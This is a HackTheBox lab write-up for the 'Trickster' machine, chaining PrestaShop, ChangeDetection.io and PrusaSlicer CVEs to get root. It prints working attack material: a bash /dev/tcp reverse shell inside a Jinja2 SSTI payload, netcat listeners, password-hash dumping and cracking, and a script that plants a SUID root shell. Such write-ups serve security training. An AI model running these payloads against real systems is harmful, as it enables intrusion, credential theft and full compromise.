HTB: Trickster Writeup
Trickster - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Trickster |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.5 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐⭐
- CTF-like: ⭐⭐☆☆☆
Summary
Trickster is a PrestaShop 8.1.5 storefront (shop.trickster.htb) sitting behind a custom-named admin panel (admin634ewutrx1jgitlooaj). The front end is vulnerable to CVE-2024-34716, a stored-XSS-to-RCE chain that hijacks an admin’s session and abuses PrestaShop’s theme-import feature to drop a PHP web shell, landing a www-data shell. From there, database credentials in parameters.php unlock the ps_employee table, and a cracked bcrypt hash gives SSH access as james. A Docker container running ChangeDetection.io is reachable from james’s host and is vulnerable to CVE-2024-32651, a Jinja2 SSTI in the notification-test feature, yielding root inside the container. Backup archives inside the container — Brotli-compressed, not encrypted — leak database credentials for a real system user, adam. Finally, adam’s passwordless sudo rights over /opt/PrusaSlicer/prusaslicer are abused via CVE-2023-47268 (arbitrary post-processing script execution in a crafted .3mf project) to get a root shell on the host.
TL;DR: PrestaShop admin-session hijack (CVE-2024-34716) → www-data → DB creds in parameters.php → cracked james bcrypt hash → SSH → Docker pivot → ChangeDetection.io SSTI (CVE-2024-32651) → container root → Brotli-compressed backup leaks adam’s creds → sudo PrusaSlicer post-process RCE (CVE-2023-47268) → root.
Reconnaissance
Web Enumeration
The application lives on two vhosts, trickster.htb and shop.trickster.htb, the latter running PrestaShop. A dumped copy of the shop’s Git repository (staged under /dev/shm/shop_dump during the engagement) confirmed the obfuscated admin directory name:
Admin dir: admin634ewutrx1jgitlooaj (confirmed)The repository dump also carried the shop’s root .htaccess, which enforces Require all granted at the doc-root level but still allows Apache-level per-directory Deny rules deeper in the tree (this becomes relevant once the malicious theme is dropped into themes/next/).
Vulnerability Assessment
PrestaShop 8.1.5 is affected by CVE-2024-34716 — a stored XSS in the customer-thread/contact-us attachment flow. When an admin opens a malicious attachment from the Back Office, injected JavaScript runs with the admin’s authenticated session and CSRF token, which is enough to drive the theme-import feature and upload an attacker-controlled theme archive containing a PHP web shell.
Initial Foothold
Exploiting CVE-2024-34716
The public PoC for this CVE (CVE-2024-34716 exploit repo) was staged at /dev/shm/CVE-2024-34716 on the pivot host, alongside a weaponized theme archive ps_next_8_theme_malicious.zip (theme name next, confirmed via config/theme.yml, version: 1.5.0). The archive carries two PHP web shells (reverse_shell.php / reverse_shell_new.php) plus the theme’s original .htaccess, which is required so the dropped PHP files remain servable once the theme is installed.
Running the exploit against the confirmed admin path:
# Trigger the XSS→session-hijack→theme-import chain against the real admin panelpython3 exploit.py \ --url http://shop.trickster.htb \ --email pwn3@a.com \ --local-ip 10.10.15.180 \ --admin-path admin634ewutrx1jgitlooaj \ > /dev/shm/exploit.log 2>&1Direct, unauthenticated GET requests to the dropped shell (/themes/next/reverse_shell_new.php, /themes/next/preview.png) consistently returned 403 Forbidden, even though the theme’s own .htaccess grants access — Apache’s directory-level protection on themes/next/ blocks bare static-file hits. That didn’t matter: the PoC never fetches the shell over a raw path. It drives the hijacked admin session through PrestaShop’s theme-import/employee UI, so the payload executes in an authenticated, in-application context rather than as a directly-requested file — sidestepping the .htaccess block entirely.
Shell Stabilization Over an Unstable Jump Host
Backgrounded nc -lvnp <port> listeners kept dying whenever the SSH control connection to the pivot host dropped. The fix was a FIFO/tail -f-backed listener that survives session churn and can be fed commands asynchronously by appending to the backing file:
# Persistent listener: nc's stdin is fed by tail -f on a growing command filetouch /dev/shm/cmd_trsetsid bash -c 'tail -f /dev/shm/cmd_tr | nc -lvnp 12345 > /dev/shm/tr.log 2>&1' \ </dev/null >/dev/null 2>&1 &
# Later, "type" a command into the shell by appending to the fifo sourceecho 'id; whoami' >> /dev/shm/cmd_trWith that in place, the exploit landed a shell:
listening on [any] 12345 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.44.5] 60726Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linuxuid=33(www-data) gid=33(www-data) groups=33(www-data)Database Credentials → Employee Hash Dump
PrestaShop’s config file discloses the local MySQL/MariaDB credentials:
cat /var/www/prestashop/app/config/parameters.php | grep -iE 'database_(name|user|password|host)''database_host' => '127.0.0.1','database_name' => 'prestashop','database_user' => 'ps_user','database_password' => 'prest@shop_o',Those credentials pull the Back Office employee table directly:
mysql -u ps_user -pprest@shop_o prestashop -e "SELECT email,passwd FROM ps_employee;"email passwdadmin@trickster.htb $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/Cjames@trickster.htb $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmmThe james hash uses a low bcrypt cost factor ($2a$04$), making it cheap to crack:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt /dev/shm/jh.txtalwaysandforever (?)1g 0:00:00:08 DONE ... 0.1137g/s 4214p/sSSH as james
sshpass -p 'alwaysandforever' ssh james@10.129.44.5 'id; cat /home/james/user.txt'uid=1000(james) gid=1000(james) groups=1000(james)===USERFLAG===<redacted>Privilege Escalation
Pivoting to a Docker Container — CVE-2024-32651
james’s host runs a docker0 bridge, and internally a container exposes ChangeDetection.io on port 5000. The exact same password james used for SSH (alwaysandforever) also unlocks the ChangeDetection.io web login (defaultuser@changedetection.io / alwaysandforever) — password reuse between the SSH account and the internal web app.
ChangeDetection.io’s notification-test feature is vulnerable to CVE-2024-32651: it renders the notification title/body/URL through Jinja2 with no sandboxing, and the get:// pseudo-protocol in the URL list lets an attacker reach the SSTI sink. The test-send endpoint was recovered from the app’s own JS:
const notification_base_url="/notification/send-test/?mode=global-settings";A small Python client logs in, grabs a fresh CSRF token, and POSTs an SSTI payload disguised as a notification body:
# Jinja2 SSTI via changedetection.io's "send test notification" feature (CVE-2024-32651)import base64rs = base64.b64encode(("bash -i >& /dev/tcp/%s/%s 0>&1" % (LHOST, LPORT)).encode()).decode()payload = ("{{ self.__init__.__globals__.__builtins__.__import__('os')" ".popen('echo %s | base64 -d | bash').read() }}" % rs)
data = { "csrf_token": t, "notification_urls": "get://%s" % LHOST, "notification_title": "pwn", "notification_body": payload, "notification_format": "Text",}r = s.post(BASE + "/notification/send-test/?mode=global-settings", data=data)self.__init__.__globals__.__builtins__ walks out of the Jinja2 sandbox to reach Python’s real __import__, giving arbitrary os.popen(). The response confirmed execution (OK - Sent test notifications), and the FIFO listener on port 9500 caught a root shell inside the container:
connect to [10.10.15.180] from (UNKNOWN) [10.129.44.5] 50006root@a4b9a36ae7ff:/app#Container Backups → adam’s Credentials
ChangeDetection.io stores watch backups under /datastore/Backups/ as zips. The container had no unzip binary, so extraction and Brotli decompression were both done inline with Python:
ls -la /datastore/Backups/# changedetection-backup-20240830194841.zip# changedetection-backup-20240830202524.zip# Recover a watched page's history — files inside are Brotli-compressed, not encryptedimport zipfile, glob, os, brotlifor z in glob.glob("/datastore/Backups/*.zip"): zipfile.ZipFile(z).extractall("/tmp/x_" + os.path.basename(z))for f in glob.glob("/tmp/x_*/**/*.br", recursive=True): data = brotli.decompress(open(f, "rb").read()).decode(errors="replace") for line in data.splitlines(): if "adam" in line.lower() or "database_" in line.lower(): print(repr(line.strip()))'database_user' => 'adam' ,'database_password' => 'adam_admin992' ,One of the watches had been tracking a PrestaShop parameters.php on an internal Gitea instance — the backed-up (Brotli-compressed) copy still held a live credential pair for a real system account.
SSH as adam → sudo PrusaSlicer
sshpass -p 'adam_admin992' ssh adam@10.129.44.5 'id; sudo -l; ls -l /opt/PrusaSlicer/'uid=1002(adam) gid=1002(adam) groups=1002(adam)User adam may run the following commands on trickster: (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
-rwxr-xr-x 1 root root 84018368 Sep 6 2023 prusaslicer-rw-r--r-- 1 root root 138526 May 23 2024 TRICKSTER.3mfRoot via CVE-2023-47268 (PrusaSlicer Post-Process RCE)
PrusaSlicer 2.6.1 stores a post_process command in a project’s .3mf config (Metadata/Slic3r_PE.config) that is executed unsandboxed against the exported G-code when the project is sliced — CVE-2023-47268. Because adam can run prusaslicer as root with no password, any .3mf he crafts is sliced with root privileges.
The .3mf is just a zip; the config was inspected first:
; output_filename_format = {input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_..._{printer_model}_{print_time}.gcode; post_process =A small rebuild script sets post_process to a payload path and strips the nozzle_diameter[initial_tool] token (it throws at export time), then repacks the archive byte-for-byte except for the modified config entry:
# Weaponize TRICKSTER.3mf: point post_process at our payload scriptcfgname = "Metadata/Slic3r_PE.config"for l in cfg.splitlines(): if l.startswith("; post_process"): l = "; post_process = /tmp/pwn.sh" elif l.startswith("; output_filename_format"): l = "; output_filename_format = {input_filename_base}_{layer_height}mm_{printing_filament_types}_{printer_model}_{print_time}.gcode" newlines.append(l)# Payload: grab root.txt and drop a SUID root bash for a clean, repeatable root shellcat > /tmp/pwn.sh <<'EOF'#!/bin/bashcat /root/root.txt > /tmp/rootflag.txt 2>/dev/nullcp /bin/bash /tmp/rootbash 2>/dev/nullchmod 4755 /tmp/rootbash 2>/dev/nullid > /tmp/rootid.txt 2>/dev/nullchmod 666 /tmp/rootflag.txt /tmp/rootid.txt 2>/dev/nullEOFTriggering the slice as root:
sudo /opt/PrusaSlicer/prusaslicer -s /tmp/pwn.3mf90 => Exporting G-code to /tmp/TRICKSTER_0.2mm_{printing_filament_types}_MK4_{print_time}.gcodeSlicing result exported to /tmp/TRICKSTER_0.2mm_ABS_MK4_2h23m.gcode===RESULT===-rwsr-xr-x 1 root root 1396520 Jul 21 12:18 /tmp/rootbashuid=0(root) gid=0(root) groups=0(root)The -s (slice) action silently ran post_process against the exported G-code as root, dropping a SUID bash and the root flag. Verification:
/tmp/rootbash -p -c "id; cat /root/root.txt; cat /home/james/user.txt"uid=1002(adam) gid=1002(adam) euid=0(root) groups=1002(adam)===ROOT===<redacted>===USER===<redacted>Attack Chain Summary
PrestaShop admin dir discovery (admin634ewutrx1jgitlooaj) → CVE-2024-34716 (XSS → admin session hijack → malicious theme import) → www-data shell → parameters.php DB creds (ps_user:prest@shop_o) → ps_employee hash dump → cracked james bcrypt hash (alwaysandforever) → SSH as james (user.txt) → docker0 pivot → ChangeDetection.io (port 5000, password reuse) → CVE-2024-32651 (Jinja2 SSTI via notification test-send) → root shell inside container → Brotli-decompressed backup leaks adam:adam_admin992 → SSH as adam → sudo NOPASSWD /opt/PrusaSlicer/prusaslicer → CVE-2023-47268 (malicious .3mf post_process RCE) → rootTools Used
| Tool | Purpose |
|---|---|
CVE-2024-34716 PoC (exploit.py) | Automates XSS→session-hijack→theme-import RCE chain against PrestaShop 8.1.5 |
curl | Probing directory-level access controls (.htaccess behavior on themes/next/) |
nc + FIFO/tail -f | Persistent reverse-shell listener that survives SSH control-connection drops |
mysql client | Dumping ps_employee credential hashes from the PrestaShop DB |
john (bcrypt, rockyou.txt) | Cracking james’s low-cost-factor bcrypt hash |
sshpass / ssh | Non-interactive authentication as james / adam |
Python requests | Custom SSTI exploit client against ChangeDetection.io’s notification-test endpoint |
Python zipfile + brotli | Extracting and decompressing ChangeDetection.io backup archives |
PrusaSlicer 2.6.1 (prusaslicer -s) | Triggering CVE-2023-47268 via a crafted .3mf post-processing script |
Key Learnings
Techniques Practiced
- Exploiting a stored-XSS-to-admin-session-hijack chain to drive an authenticated file-upload/import feature (CVE-2024-34716)
- Recognizing that Apache directory-level
Denyrules don’t stop RCE reachable through the application’s own authenticated routes - Harvesting and cracking low-cost bcrypt application credentials
- Docker container pivoting from a compromised host
- Exploiting Jinja2 SSTI in a self-hosted monitoring tool (CVE-2024-32651)
- Treating Brotli-compressed backup files as a forensic source, not an obstacle
- Abusing
sudoNOPASSWD access to a “harmless” desktop utility for full root (CVE-2023-47268)
Lessons Learned
- Public version disclosure on an admin login page (PrestaShop 8.1.5) is often enough to pinpoint an exact, weaponized CVE.
- Directory-level web server ACLs (
.htaccessDeny) don’t protect against RCE reachable through the application’s own privileged, in-session workflows. - Backup/compression formats like Brotli are not encryption — always decompress and grep application backups for credentials.
- Password reuse across unrelated services (SSH account reused for an internal web app login) remains the single most common lateral-movement vector.
sudoNOPASSWD rights on any tool that supports user-defined scripts or post-processing hooks — even a 3D-print slicer — is equivalent to full root.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- dotguy, “Trickster” — HackTheBox Official Writeup (Document No. D25.100.321), used here for CVE identification (CVE-2024-34716, CVE-2024-32651, CVE-2023-47268) and to confirm the intended attack chain. All commands, outputs, credentials, and IPs in this writeup are from the actual solve, not the reference.